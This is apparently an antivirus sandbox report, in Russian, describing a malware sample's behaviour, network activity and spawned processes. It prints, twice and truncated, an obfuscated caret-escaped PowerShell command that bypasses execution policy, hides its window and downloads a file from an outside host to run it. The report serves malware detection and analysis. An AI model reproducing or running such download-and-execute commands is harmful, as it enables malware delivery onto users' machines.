Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://trustgovnet.top/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "p^OW^ERSHeLl.eXe^ -ExecutI^oN^POlicy B^yPaSs^ -^N^OpRoF^il^E -^W^i^n^Dow^S^t^yL^E h^idD^e^N (^nE^W^-^ob^J^ECt sY^St^em.NEt.web^Cl^i^ENt)^.doW^nlo^adfILe('http://trustgovnet.top/sea...
Сетевая активность
UDP
- DNS ASK tr###govnet.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "p^OW^ERSHeLl.eXe^ -ExecutI^oN^POlicy B^yPaSs^ -^N^OpRoF^il^E -^W^i^n^Dow^S^t^yL^E h^idD^e^N (^nE^W^-^ob^J^ECt sY^St^em.NEt.web^Cl^i^ENt)^.doW^nlo^adfILe('http://trustgovnet.top/sea...' (со скрытым окном)
